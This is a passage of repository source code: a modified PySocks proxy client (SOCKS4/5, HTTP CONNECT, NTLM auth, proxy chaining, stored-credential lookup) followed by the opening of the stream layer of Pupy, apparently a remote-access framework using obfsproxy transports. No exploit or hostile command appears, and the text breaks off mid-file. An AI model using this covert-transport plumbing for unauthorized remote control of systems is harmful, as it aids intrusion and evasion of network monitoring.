socket.getaddrinfo(proxy_addr, proxy_port, 0, socket.SOCK_STREAM):\n        family, socket_type, proto, canonname, sa = r\n        sock = None\n        try:\n            sock = socksocket(family, socket_type, proto)\n\n            if socket_options:\n                for opt in socket_options:\n                    sock.setsockopt(*opt)\n\n            if isinstance(timeout, (int, float)):\n                sock.settimeout(timeout)\n\n            if proxy_type:\n                sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns,\n                               proxy_username, proxy_password, None)\n            if source_address:\n                sock.bind(source_address)\n\n            sock.connect((remote_host, remote_port))\n            return sock\n\n        except (socket.error, ProxyConnectionError) as e:\n            err = e\n            if sock:\n                sock.close()\n                sock = None\n\n    if err:\n        raise err\n\n    raise socket.error(\"gai returned empty list.\")\n\nclass _BaseSocket(socket.socket):\n    \"\"\"Allows Python 2's \"delegated\" methods such as send() to be overridden\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        _orig_socket.__init__(self, *args, **kwargs)\n\n        self._orig_args = args\n        self._orig_kwargs = kwargs\n        self._savedmethods = dict()\n        for name in self._savenames:\n            self._savedmethods[name] = getattr(self, name)\n            delattr(self, name)  # Allows normal overriding mechanism to work\n\n    _savenames = list()\n\ndef _makemethod(name):\n    return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw)\nfor name in (\"sendto\", \"send\", \"recvfrom\", \"recv\"):\n    method = getattr(_BaseSocket, name, None)\n\n    # Determine if the method is not defined the usual way\n    # as a function in the class.\n    # Python 2 uses __slots__, so there are descriptors for each method,\n    # but they are not functions.\n    if not isinstance(method, Callable):\n        _BaseSocket._savenames.append(name)\n        setattr(_BaseSocket, name, _makemethod(name))\n\nclass socksocket(_BaseSocket):\n    \"\"\"socksocket([family[, type[, proto]]]) -> socket object\n\n    Open a SOCKS enabled socket. The parameters are the same as\n    those of the standard socket init. In order for SOCKS to work,\n    you must specify family=AF_INET and proto=0.\n    The \"type\" argument must be either SOCK_STREAM or SOCK_DGRAM.\n    \"\"\"\n\n    default_proxy = None\n\n    __slots__ = (\n        'proxy',\n        'proxy_sockname', 'proxy_peername',\n        '_socks5_bind_addr', '_proxyconn', '_last_addr'\n    )\n\n    def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, *args, **kwargs):\n        if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM):\n            msg = \"Socket type must be stream or datagram, not {!r}\"\n            raise ValueError(msg.format(type))\n\n        _BaseSocket.__init__(self, family, type, proto, *args, **kwargs)\n        self._socks5_bind_addr = None\n        self._proxyconn = None  # TCP connection to keep UDP relay alive\n        self._last_addr = None\n\n        if self.default_proxy:\n            self.proxy = [self.default_proxy]\n        else:\n            self.proxy = []\n        self.proxy_sockname = None\n        self.proxy_peername = None\n\n    def _readall(self, file, count):\n        \"\"\"\n        Receive EXACTLY the number of bytes requested from the file object.\n        Blocks until the required number of bytes have been received.\n        \"\"\"\n        data = b\"\"\n        while len(data) < count:\n            d = file.read(count - len(data))\n            if not d:\n                raise GeneralProxyError(\"Connection closed unexpectedly\")\n            data += d\n        return data\n\n    def add_proxy(\n        self, proxy_type=None, addr=None, port=None,\n            rdns=True, username=None, password=None, auth_type=None):\n        \"\"\"set_proxy(proxy_type, addr[, port[, rdns[, username[, password]]]])\n        Sets the proxy to be used.\n\n        proxy_type -    The type of the proxy to be used. Three types\n                        are supported: PROXY_TYPE_SOCKS4 (including socks4a),\n                        PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP\n        addr -        The address of the server (IP or DNS).\n        port -        The port of the server. Defaults to 1080 for SOCKS\n                       servers and 8080 for HTTP proxy servers.\n        rdns -        Should DNS queries be performed on the remote side\n                       (rather than the local side). The default is True.\n                       Note: This has no effect with SOCKS4 servers.\n        username -    Username to authenticate with to the server.\n                       The default is no authentication.\n        password -    Password to authenticate with to the server.\n                       Only relevant when username is also provided.\n        auth_type -   Engine to perform authentication (None = BASIC, 'NTLM' = NTLM)\n        \"\"\"\n\n        if isinstance(proxy_type, basestring):\n            proxy_type = PROXY_TYPES.get(proxy_type)\n            if not proxy_type:\n                raise ValueError('Unknown proxy type {}'.format(proxy_type))\n\n        self.proxy.append([\n            proxy_type, addr, port, rdns,\n            username.encode() if username else None,\n            password.encode() if password else None,\n            auth_type])\n\n    def set_proxy(self, *args, **kwargs):\n        self.reset_proxies()\n        self.add_proxy(*args, **kwargs)\n\n    def reset_proxies(self):\n        self.proxy = []\n\n    setproxy = set_proxy\n\n    def listen(self, cnt=0):\n        if not self.proxy:\n            return _orig_socket.listen(self, cnt)\n\n        if self.proxy[-1][0] != SOCKS5:\n            raise socket.error(EINVAL, 'Only SOCKS5 proxies supported')\n\n        if not self._socks5_bind_addr:\n            raise socket.error(EINVAL, 'Socket was not bound')\n\n        return\n\n    def accept(self):\n        if not self.proxy:\n            return _orig_socket.accept(self)\n\n        if self.proxy[-1][0] != SOCKS5:\n            raise socket.error(EINVAL, 'Only SOCKS5 proxies supported')\n\n        if not self._socks5_bind_addr:\n            raise socket.error(EINVAL, 'Socket was not bound')\n\n        return self._accept()\n\n    def bind(self, *pos, **kw):\n        \"\"\"\n        Implements proxy connection for UDP sockets,\n        which happens during the bind() phase.\n        \"\"\"\n\n        if not self.proxy:\n            return _orig_socket.bind(self, *pos, **kw)\n\n        if self.proxy[-1][0] != SOCKS5:\n            raise socket.error(EINVAL, 'Only SOCKS5 proxies supported')\n\n        if self.type != socket.SOCK_DGRAM:\n            bind_addr = pos[0]\n            if type(bind_addr) is not tuple or len(bind_addr) != 2:\n                raise socket.error(EINVAL, 'Bind address should be tuple')\n\n            self._socks5_bind_addr = bind_addr\n            self.close()\n            return True\n\n        if self._proxyconn:\n            raise socket.error(EINVAL, \"Socket already bound to an address\")\n\n        last_proxy = self.proxy[-1]\n        last_proxy_type = last_proxy[0]\n\n        if last_proxy_type != SOCKS5:\n            msg = \"UDP only supported by SOCKS5 proxy type\"\n            raise socket.error(EOPNOTSUPP, msg)\n\n        _BaseSocket.bind(self, *pos, **kw)\n\n        # Need to specify actual local port because\n        # some relays drop packets if a port of zero is specified.\n        # Avoid specifying host address in case of NAT though.\n        _, port = self.getsockname()\n        dst = (\"0\", port)\n\n        while True:\n            try:\n                self._proxyconn = _orig_socket()\n                self._connect_first(self._proxyconn)\n                self._connect_rest(self._proxyconn)\n                break\n\n            except AuthenticationRequired:\n                _orig_socket.__init__(\n                    self, *self._orig_args, **self._orig_kwargs)\n\n        proxy = self.proxy[-1]\n\n        properties = proxy[3:]\n\n        UDP_ASSOCIATE = b\"\\x03\"\n        _, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst, properties)\n\n        # The relay is most likely on the same host as the SOCKS proxy,\n        # but some proxies return a private IP address (10.x.y.z)\n        _, port = relay\n\n        if len(self.proxy) == 1:\n            proxy_host, proxy_port = self._proxy_addr(proxy)\n            _BaseSocket.connect(self, (proxy_host, port))\n        else:\n            self._connect_first()\n            self._connect_rest()\n\n        self.proxy_sockname = (\"0.0.0.0\", 0)  # Unknown\n\n    def sendto(self, bytes, *args, **kwargs):\n        if self.type != socket.SOCK_DGRAM:\n            return _BaseSocket.sendto(self, bytes, *args, **kwargs)\n        if not self._proxyconn:\n            self.bind((\"\", 0))\n\n        address = args[-1]\n        flags = args[:-1]\n\n        header = BytesIO()\n        RSV = b\"\\x00\\x00\"\n        header.write(RSV)\n        STANDALONE = b\"\\x00\"\n        header.write(STANDALONE)\n        self._write_SOCKS5_address(address, header, self.proxy[-1][3:])\n\n        sent = _BaseSocket.send(self, header.getvalue() + bytes, *flags, **kwargs)\n        return sent - header.tell()\n\n    def send(self, bytes, flags=0, **kwargs):\n        if self.type == socket.SOCK_DGRAM:\n            return self.sendto(bytes, flags, self.proxy_peername, **kwargs)\n        else:\n            return _BaseSocket.send(self, bytes, flags, **kwargs)\n\n    def recvfrom(self, bufsize, flags=0):\n        if self.type != socket.SOCK_DGRAM:\n            return _BaseSocket.recvfrom(self, bufsize, flags)\n        if not self._proxyconn:\n            self.bind((\"\", 0))\n\n        buf = BytesIO(_BaseSocket.recv(self, bufsize, flags))\n        buf.seek(+2, SEEK_CUR)\n        frag = buf.read(1)\n        if ord(frag):\n            raise NotImplementedError(\"Received UDP packet fragment\")\n        fromhost, fromport = self._read_SOCKS5_address(buf)\n\n        if self.proxy_peername:\n            peerhost, peerport = self.proxy_peername\n            if fromhost != peerhost or peerport not in (0, fromport):\n                raise socket.error(EAGAIN, \"Packet filtered\")\n\n        return (buf.read(), (fromhost, fromport))\n\n    def recv(self, *pos, **kw):\n        bytes, _ = self.recvfrom(*pos, **kw)\n        return bytes\n\n    def recv_http_response(self, conn):\n        response = HttpParser(kind=1)\n        status_code = None\n        headers = None\n\n        try:\n            while True:\n                chunk = conn.recv(1024)\n\n                response.execute(chunk, len(chunk))\n                if response.is_headers_complete():\n                    headers = response.get_headers()\n                    status_code = response.get_status_code()\n\n                    content_length = headers.get('content-length')\n                    if not content_length or int(content_length) == 0:\n                        break\n\n                if response.is_message_complete():\n                    break\n\n                if not chunk:\n                    raise EOFError('Incomplete Message')\n\n        except Exception as e:\n            raise GeneralProxyError(\n                'HTTP Proxy communication error ({})'.format(e))\n\n        return status_code, headers\n\n    def close(self):\n        if self._proxyconn:\n            self._proxyconn.close()\n        return _BaseSocket.close(self)\n\n    def get_proxy_sockname(self):\n        \"\"\"\n        Returns the bound IP address and port number at the proxy.\n        \"\"\"\n        return self.proxy_sockname\n\n    getproxysockname = get_proxy_sockname\n\n    def get_proxy_peername(self):\n        \"\"\"\n        Returns the IP and port number of the proxy.\n        \"\"\"\n        return _BaseSocket.getpeername(self)\n\n    getproxypeername = get_proxy_peername\n\n    def get_peername(self):\n        \"\"\"\n        Returns the IP address and port number of the destination\n        machine (note: get_proxy_peername returns the proxy)\n        \"\"\"\n        return self.proxy_peername\n\n    getpeername = get_peername\n\n    def _negotiate_SOCKS5(self, conn, dest_addr, properties):\n        \"\"\"\n        Negotiates a stream connection through a SOCKS5 server.\n        \"\"\"\n        CONNECT = b\"\\x01\"\n        self.proxy_peername, self.proxy_sockname = self._SOCKS5_request(\n            conn, CONNECT, dest_addr, properties)\n\n    def _SOCKS5_request(self, conn, cmd, dst, properties):\n        \"\"\"\n        Send SOCKS5 request with given command (CMD field) and\n        address (DST field). Returns resolved DST address that was used.\n        \"\"\"\n        rdns, username, password, _ = properties\n\n        writer = conn.makefile(\"wb\")\n        reader = conn.makefile(\"rb\", 0)  # buffering=0 renamed in Python 3\n        try:\n            # First we'll send the authentication packages we support.\n            if username and password:\n                # The username/password details were supplied to the\n                # set_proxy method so we support the USERNAME/PASSWORD\n                # authentication (in addition to the standard none).\n                writer.write(b\"\\x05\\x02\\x00\\x02\")\n            else:\n                # No username/password were entered, therefore we\n                # only support connections with no authentication.\n                writer.write(b\"\\x05\\x01\\x00\")\n\n            # We'll receive the server's response to determine which\n            # method was selected\n            writer.flush()\n            chosen_auth = self._readall(reader, 2)\n\n            if chosen_auth[0:1] != b\"\\x05\":\n                # Note: string[i:i+1] is used because indexing of a bytestring\n                # via bytestring[i] yields an integer in Python 3\n                raise GeneralProxyError(\"SOCKS5 proxy server sent invalid data\")\n\n            # Check the chosen authentication method\n\n            if chosen_auth[1:2] == b\"\\x02\":\n                # Okay, we need to perform a basic username/password\n                # authentication.\n                writer.write(\n                    b\"\\x01\" + chr(len(username)).encode() + \\\n                    username + chr(len(password)).encode() + password)\n                writer.flush()\n                auth_status = self._readall(reader, 2)\n                if auth_status[0:1] != b\"\\x01\":\n                    # Bad response\n                    raise GeneralProxyError(\"SOCKS5 proxy server sent invalid data\")\n                if auth_status[1:2] != b\"\\x00\":\n                    # Authentication failed\n                    raise SOCKS5AuthError(\"SOCKS5 authentication failed\")\n\n                # Otherwise, authentication succeeded\n\n            # No authentication is required if 0x00\n            elif chosen_auth[1:2] != b\"\\x00\":\n                # Reaching here is always bad\n                if chosen_auth[1:2] == b\"\\xFF\":\n                    raise SOCKS5AuthError(\"All offered SOCKS5 authentication methods were rejected\")\n                else:\n                    raise GeneralProxyError(\"SOCKS5 proxy server sent invalid data\")\n\n            # Now we can request the actual connection\n            writer.write(b\"\\x05\" + cmd + b\"\\x00\")\n            resolved = self._write_SOCKS5_address(conn, dst, writer, properties)\n            writer.flush()\n\n            # Get the response\n            resp = self._readall(reader, 3)\n            if resp[0:1] != b\"\\x05\":\n                raise GeneralProxyError(\"SOCKS5 proxy server sent invalid data\")\n\n            status = ord(resp[1:2])\n            if status != 0x00:\n                # Connection failed: server returned an error\n                error = SOCKS5_ERRORS.get(status, \"Unknown error\")\n                raise SOCKS5Error(\"{0:#04x}: {1}\".format(status, error))\n\n            # Get the bound address/port\n            bnd = self._read_SOCKS5_address(reader)\n            return (resolved, bnd)\n        finally:\n            reader.close()\n            writer.close()\n\n    def _write_SOCKS5_address(self, conn, addr, file, properties):\n        \"\"\"\n        Return the host and port packed for the SOCKS5 protocol,\n        and the resolved address as a tuple object.\n        \"\"\"\n        host, port = addr\n        rdns, username, password, _ = properties\n        family_to_byte = {socket.AF_INET: b\"\\x01\", socket.AF_INET6: b\"\\x04\"}\n\n        # If the given destination address is an IP address, we'll\n        # use the IP address request even if remote resolving was specified.\n        # Detect whether the address is IPv4/6 directly.\n        for family in (socket.AF_INET, socket.AF_INET6):\n            try:\n                addr_bytes = socket.inet_pton(family, host)\n                file.write(family_to_byte[family] + addr_bytes)\n                host = socket.inet_ntop(family, addr_bytes)\n                file.write(struct.pack(\">H\", port))\n                return host, port\n            except socket.error:\n                continue\n\n        # Well it's not an IP number, so it's probably a DNS name.\n        if rdns:\n            # Resolve remotely\n            try:\n                host_bytes = host.encode('idna')\n            except:\n                host_bytes = host\n\n            file.write(b\"\\x03\" + chr(len(host_bytes)).encode() + host_bytes)\n        else:\n            # Resolve locally\n            addresses = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, socket.IPPROTO_TCP, socket.AI_ADDRCONFIG)\n            # We can't really work out what IP is reachable, so just pick the\n            # first.\n            target_addr = addresses[0]\n            family = target_addr[0]\n            host = target_addr[4][0]\n\n            addr_bytes = socket.inet_pton(family, host)\n            file.write(family_to_byte[family] + addr_bytes)\n            host = socket.inet_ntop(family, addr_bytes)\n        file.write(struct.pack(\">H\", port))\n        return host, port\n\n    def _read_SOCKS5_address(self, file):\n        atyp = self._readall(file, 1)\n        if atyp == b\"\\x01\":\n            addr = socket.inet_ntoa(self._readall(file, 4))\n        elif atyp == b\"\\x03\":\n            length = self._readall(file, 1)\n            addr = self._readall(file, ord(length))\n        elif atyp == b\"\\x04\":\n            addr = socket.inet_ntop(socket.AF_INET6, self._readall(file, 16))\n        else:\n            raise GeneralProxyError(\"SOCKS5 proxy server sent invalid data\")\n\n        port = struct.unpack(\">H\", self._readall(file, 2))[0]\n        return addr, port\n\n    def _negotiate_SOCKS4(self, conn, dest, properties):\n        \"\"\"\n        Negotiates a connection through a SOCKS4 server.\n        \"\"\"\n        dest_addr, dest_port = dest\n        rdns, username, password, _ = properties\n\n        writer = conn.makefile(\"wb\")\n        reader = conn.makefile(\"rb\", 0)  # buffering=0 renamed in Python 3\n        try:\n            # Check if the destination address provided is an IP address\n            remote_resolve = False\n            try:\n                addr_bytes = socket.inet_aton(dest_addr)\n            except socket.error:\n                # It's a DNS name. Check where it should be resolved.\n                if rdns:\n                    addr_bytes = b\"\\x00\\x00\\x00\\x01\"\n                    remote_resolve = True\n                else:\n                    addr_bytes = socket.inet_aton(socket.gethostbyname(dest_addr))\n\n            # Construct the request packet\n            writer.write(struct.pack(\">BBH\", 0x04, 0x01, dest_port))\n            writer.write(addr_bytes)\n\n            # The username parameter is considered userid for SOCKS4\n            if username:\n                writer.write(username)\n            writer.write(b\"\\x00\")\n\n            # DNS name if remote resolving is required\n            # NOTE: This is actually an extension to the SOCKS4 protocol\n            # called SOCKS4A and may not be supported in all cases.\n            if remote_resolve:\n                try:\n                    dest_addr = dest_addr.encode('idna')\n                except:\n                    pass\n\n                writer.write(dest_addr + b\"\\x00\")\n            writer.flush()\n\n            # Get the response from the server\n            resp = self._readall(reader, 8)\n            if resp[0:1] != b\"\\x00\":\n                # Bad data\n                raise GeneralProxyError(\"SOCKS4 proxy server sent invalid data\")\n\n            status = ord(resp[1:2])\n            if status != 0x5A:\n                # Connection failed: server returned an error\n                error = SOCKS4_ERRORS.get(status, \"Unknown error\")\n                raise SOCKS4Error(\"{0:#04x}: {1}\".format(status, error))\n\n            # Get the bound address/port\n            self.proxy_sockname = (socket.inet_ntoa(resp[4:]), struct.unpack(\">H\", resp[2:4])[0])\n            if remote_resolve:\n                self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port\n            else:\n                self.proxy_peername = dest_addr, dest_port\n        finally:\n            reader.close()\n            writer.close()\n\n    def _negotiate_HTTP(self, conn, dest, properties):\n        \"\"\"\n        Negotiates a connection through an HTTP server.\n        NOTE: This currently only supports HTTP CONNECT-style proxies.\n        \"\"\"\n\n        dest_addr, dest_port = dest\n        rdns, username, password, auth_type = properties\n\n        status_code = None\n        headers = None\n        need_request = True\n\n        # If we need to resolve locally, we do this now\n        addr = dest_addr if rdns else socket.gethostbyname(dest_addr)\n        try:\n            addr = addr.encode('idna')\n        except:\n            pass\n\n        try:\n            dest_addr = dest_addr.encode('idna')\n        except:\n            pass\n\n        http_headers = [\n            b\"CONNECT \" + addr + b\":\" + str(dest_port).encode() + b\" HTTP/1.1\",\n            b\"Host: \" + dest_addr,\n            b\"Connection: Keep-Alive\",\n            b\"Proxy-Connection: keep-alive\",\n        ]\n\n        if auth_type:\n            if not (username and password):\n                curr_addr, curr_port = self._last_addr\n                cred = find_first_cred('http', curr_addr, curr_port)\n                if cred:\n                    username = cred.user\n                    password = cred.password\n\n            if 'BASIC' in auth_type:\n                if not (username and password):\n                    raise AuthenticationImpossible(\n                        'Authentication required, but credentials are not provided')\n\n                http_headers.append(b\"Proxy-Authorization: basic \" + b64encode(username + b\":\" + password))\n\n            elif Authentication and (\n                    'NTLM' in auth_type or 'NEGOTIATE' in auth_type):\n                ctx = Authentication(logger)\n\n                domain = None\n                if username and '\\\\' in username:\n                    domain, username = username.split('\\\\', 1)\n\n                try:\n                    _, method, payload = ctx.create_auth1_message(\n                        domain, username, password,\n                        'http://{}:{}'.format(dest_addr, dest_port), auth_type\n                    )\n\n                except AuthenticationError as e:\n                    raise AuthenticationImpossible('Error during SSP authentication: {}'.format(e))\n\n                ntlm_headers = list(http_headers)\n                ntlm_headers.append(b'Proxy-Authorization: ' + ' '.join([method, payload]))\n                ntlm_headers.append(b'\\r\\n')\n                ntlm_payload = b'\\r\\n'.join(ntlm_headers)\n\n                conn.sendall(ntlm_payload)\n\n                status_code, headers = self.recv_http_response(conn)\n\n                if status_code == 200:\n                    need_request = False\n                else:\n                    if status_code != 407:\n                        raise GeneralProxyError(\n                            'Invalid Authentication Sequence (STATUS: {})'.format(\n                                status_code))\n\n                    need_request = True\n                    challenge = None\n\n                    for header, value in headers.items():\n                        if header.lower() == 'proxy-authenticate':\n                            value = value.strip()\n                            if not value.startswith(method + ' '):\n                                raise GeneralProxyError(\n                                    'Invalid Authentication Sequence (Invalid payload)')\n\n                            _, challenge = value.split(' ', 1)\n\n                    if not challenge:\n                        raise GeneralProxyError(\n                            'Invalid Authentication Sequence (Challenge not found)')\n\n                    try:\n                        _, method, payload = ctx.create_auth2_message(challenge)\n                    except AuthenticationError as e:\n                        raise AuthenticationImpossible(\n                            'Error during SSP authentication (Step 2): {}'.format(e))\n\n                    http_headers.append('Proxy-Authorization: ' + ' '.join([method, payload]))\n\n            else:\n                raise GeneralProxyError(\n                    'Unsupported authentication scheme: {}'.format(\n                        auth_type))\n\n        if need_request:\n            http_headers.append(b'\\r\\n')\n            request = b'\\r\\n'.join(http_headers)\n\n            conn.sendall(request)\n\n            status_code, headers = self.recv_http_response(conn)\n\n        if status_code in (401, 407):\n            if auth_type is not None:\n                raise AuthenticationImpossible(\n                    'Authentication using method {} has been failed'.format(auth_type))\n\n            if not username and password:\n                raise AuthenticationImpossible('Authentication required, but credentials are not provided')\n\n            methods = headers.get('Proxy-Authenticate')\n            if not methods:\n                methods = ['BASIC']\n            else:\n                methods = [x.strip().upper() for x in methods.split(',')]\n\n            raise AuthenticationRequired(methods)\n\n        elif status_code != 200:\n            error = \"ERROR: {0}\".format(status_code)\n            if status_code in (400, 403, 405):\n                # It's likely that the HTTP proxy server does not support the CONNECT tunneling method\n                error += (\"\\n[*] Note: The HTTP proxy server may not be supported by PySocks\"\n                          \" (must be a CONNECT tunnel proxy)\")\n            raise HTTPError(error)\n\n        self.proxy_sockname = (b\"0.0.0.0\", 0)\n        self.proxy_peername = addr, dest_port\n\n    _proxy_negotiators = {\n        SOCKS4: _negotiate_SOCKS4,\n        SOCKS5: _negotiate_SOCKS5,\n        HTTP: _negotiate_HTTP\n    }\n\n    def _connect_first(self, conn=None, port=None):\n        proxy = self.proxy[0]\n        proxy_type = proxy[0]\n\n        proxy_host, proxy_port = self._proxy_addr(proxy)\n        if conn is None:\n            conn = self\n\n        if port is not None and len(self.proxy) == 1:\n            proxy_port = port\n\n        try:\n            if conn is self:\n                _BaseSocket.connect(self, (proxy_host, proxy_port))\n            else:\n                conn.connect((proxy_host, proxy_port))\n\n            self._setkeepalive(conn)\n            self._last_addr = proxy_host, proxy_port\n\n        except socket.error as e:\n            conn.close()\n\n            proxy_server = '{}:{}'.format(proxy_host, proxy_port)\n            printable_type = PRINTABLE_PROXY_TYPES[proxy_type]\n\n            msg = 'Error connecting to {} proxy {}: {}'.format(\n                printable_type, proxy_server, e)\n\n            raise ProxyConnectionError(msg, e)\n\n    def _connect_rest(self, conn=None, last=None, port=None):\n        if conn is None:\n            conn = self\n\n        proxy = self.proxy[0]\n        previous_proxy_type = proxy[0]\n        previous_proxy_properties = proxy[3:]\n\n        proxies = self.proxy[1:last]\n\n        rest = len(proxies)\n\n        for i, proxy in enumerate(proxies):\n            next_proxy_addr = self._proxy_addr(proxy)\n            try:\n                # Calls negotiate_{SOCKS4, SOCKS5, HTTP}\n                negotiate = self._proxy_negotiators[previous_proxy_type]\n\n                if i == rest-1 and port is not None:\n                    next_proxy_addr = (next_proxy_addr[0], port)\n\n                negotiate(self, conn, next_proxy_addr, previous_proxy_properties)\n                self._last_addr = next_proxy_addr\n\n                previous_proxy_type = proxy[0]\n                previous_proxy_properties = proxy[3:]\n\n            except AuthenticationRequired as error:\n                # Mark current proxy as one required authentication\n                proxies[i][6] = error.methods\n                conn.close()\n                raise\n\n            except socket.error as error:\n                # Wrap socket errors\n                conn.close()\n                raise GeneralProxyError(\"Socket error\", error)\n\n            except ProxyError:\n                # Protocol error while negotiating with proxy\n                conn.close()\n                raise\n\n    def _connect(self, conn, dest_addr):\n        self._connect_first(conn)\n        self._connect_rest(conn)\n\n        proxy = self.proxy[-1]\n\n        previous_proxy_type = proxy[0]\n        previous_proxy_properties = proxy[3:]\n\n        try:\n            # Calls negotiate_{SOCKS4, SOCKS5, HTTP}\n            negotiate = self._proxy_negotiators[previous_proxy_type]\n            negotiate(self, conn, dest_addr, previous_proxy_properties)\n            self._last_addr = dest_addr\n\n        except AuthenticationRequired as error:\n            self.proxy[-1][6] = error.methods\n            conn.close()\n            raise\n\n        except socket.error as error:\n            # Wrap socket errors\n            conn.close()\n            raise GeneralProxyError(\"Socket error\", error)\n\n        except ProxyError:\n            # Protocol error while negotiating with proxy\n            conn.close()\n            raise\n\n        return True\n\n    def _bind(self, conn, dest_addr):\n        self._connect_first(conn)\n        self._connect_rest(conn)\n\n        proxy = self.proxy[-1]\n\n        previous_proxy_type = proxy[0]\n        previous_proxy_properties = proxy[3:]\n\n        if previous_proxy_type != SOCKS5:\n            raise GeneralProxyError('Bind is not supported for non-SOCKS5 proxies')\n\n\n        SOCKS5_BIND = b'\\x02'\n\n        try:\n            _, relay = self._SOCKS5_request(\n                conn, SOCKS5_BIND, dest_addr, previous_proxy_properties)\n        except socket.error as error:\n            # Wrap socket errors\n            conn.close()\n            raise GeneralProxyError(\"Socket error\", error)\n        except ProxyError:\n            # Protocol error while negotiating with proxy\n            conn.close()\n            raise\n\n        self.proxy_sockname = relay\n        return conn, relay\n\n    def _accept(self):\n        conn = _orig_socket()\n        relay = None\n\n        while True:\n            try:\n                _, relay = self._bind(conn, self._socks5_bind_addr)\n                break\n            except AuthenticationRequired:\n                _orig_socket.__init__(\n                    self, *self._orig_args, **self._orig_kwargs)\n\n        _, port = relay\n\n        reader = conn.makefile('rb', 0)\n        reader.read(3)\n\n        return conn, self._read_SOCKS5_address(reader)\n\n    def connect(self, dest_pair):\n        \"\"\"\n        Connects to the specified destination through a proxy.\n        Uses the same API as socket's connect().\n        To select the proxy server, use set_proxy().\n\n        dest_pair - 2-tuple of (IP/hostname, port).\n        \"\"\"\n\n        if not self.proxy:\n            # Treat like regular socket object\n            self.proxy_peername = dest_pair\n            _BaseSocket.connect(self, *dest_pair)\n            self._setkeepalive()\n            return\n\n        if len(dest_pair) != 2 or dest_pair[0].startswith(\"[\"):\n            # Probably IPv6, not supported -- raise an error, and hope\n            # Happy Eyeballs (RFC6555) makes sure at least the IPv4\n            # connection works...\n            raise socket.error(\"PySocks doesn't support IPv6\")\n\n        dest_addr, dest_port = dest_pair\n\n        if self.type == socket.SOCK_DGRAM:\n            if not self._proxyconn:\n                self.bind((\"\", 0))\n            dest_addr = socket.gethostbyname(dest_addr)\n\n            # If the host address is INADDR_ANY or similar, reset the peer\n            # address so that packets are received from any peer\n            if dest_addr == \"0.0.0.0\" and not dest_port:\n                self.proxy_peername = None\n            else:\n                self.proxy_peername = (dest_addr, dest_port)\n            return\n\n        # Do a minimal input check first\n        if (not isinstance(dest_pair, (list, tuple)) or \\\n                len(dest_pair) != 2 or \\\n                not dest_addr or \\\n                not isinstance(dest_port, int)):\n            raise GeneralProxyError(\"Invalid destination-connection (host, port) pair\")\n\n        while True:\n            try:\n                self._connect(self, dest_pair)\n                break\n            except AuthenticationRequired:\n                _orig_socket.__init__(\n                    self, *self._orig_args, **self._orig_kwargs)\n\n    def _proxy_addr(self, proxy):\n        \"\"\"\n        Return proxy address to connect to as tuple object\n        \"\"\"\n        proxy_type, proxy_addr, proxy_port, _, _, _, _ = proxy\n        proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type)\n        if not proxy_port:\n            raise GeneralProxyError(\"Invalid proxy type\")\n        return proxy_addr, proxy_port\n\n    def _setkeepalive(self, conn=None):\n        if conn is None:\n            conn = self\n\n        conn.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n        if hasattr(socket, 'TCP_KEEPIDLE') and hasattr(socket, 'TCP_KEEPINTVL') and hasattr(socket, 'TCP_KEEPCNT'):\n            conn.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1 * 60)\n            conn.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60)\n            conn.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10)\n        elif hasattr(socket, 'SIO_KEEPALIVE_VALS') and hasattr(conn, 'ioctl'):\n            conn.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 1*60*1000, 5*60*1000))\n"
  },
  {
    "path": "pupy/network/lib/streams/PupySocketStream.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\n\"\"\" abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports \"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.network.lib import getLogger\n\nlogger = getLogger('pss')\n\n__all__ = [\n    'PupySocketStream',\n]\n\ntry:\n    import kcp\n    assert kcp\n\n    __all__.append(\n        'PupyUDPSocketStream'\n    )\n\nexcept ImportError:\n    logger.warning('Datagram based stream is not available: KCP missing')\n\nimport sys\nimport os\nimport socket\nimport time\nimport errno\nimport traceback\nimport zlib\n\nfrom pupy.network.lib.buffer import Buffer\nfrom pupy.network.lib.compat import select, select_error, get_exc_errno\nfrom pupy.network.lib.rpc.core import SocketStream, Channel\n\nimport threading\n\nclass addGetPeer(object):\n    \"\"\" add some functions needed by some obfsproxy transports \"\"\"\n\n    def __init__(self, peer):\n        self.peer=peer\n\n    def getPeer(self):\n        return self.peer\n\nclass PupyChannel(Channel):\n    def __init__(self, *args, **kwargs):\n        super(PupyChannel, self).__init__(*args, **kwargs)\n        self.compress = True\n        self.COMPRESSION_LEVEL = 5\n        self.COMPRESSION_THRESHOLD = self.stream.MAX_IO_CHUNK\n\n        self._send_channel_lock = threading.Lock()\n        self._recv_channel_lock = threading.Lock()\n\n    def consume(self):\n        if hasattr(self.stream, 'consume'):\n            return self.stream.consume()\n\n    def wake(self):\n        if hasattr(self.stream, 'wake'):\n            return self.stream.wake()\n\n    def recv(self):\n        #print( \"RECV\", threading.currentThread())\n        with self._recv_channel_lock:\n            data = self._recv()\n\n            if __debug__:\n                logger.debug('channel: recv=%s', len(data) if data else 'NONE')\n\n            return data\n\n    def send(self, data):\n        with self._send_channel_lock:\n            if __debug__:\n                logger.debug('channel: send=%s', len(data))\n\n            self._send(data)\n\n    def _recv(self):\n        \"\"\" Recv logic with interruptions \"\"\"\n\n        #print( \"RECV! WAIT FOR LENGTH!\")\n\n        packet = self.stream.read(self.FRAME_HEADER.size)\n        # If no packet - then just return\n        if not packet:\n            return None\n\n        header = packet\n\n        while len(header) != self.FRAME_HEADER.size:\n            packet = self.stream.read(self.FRAME_HEADER.size - len(header))\n            if 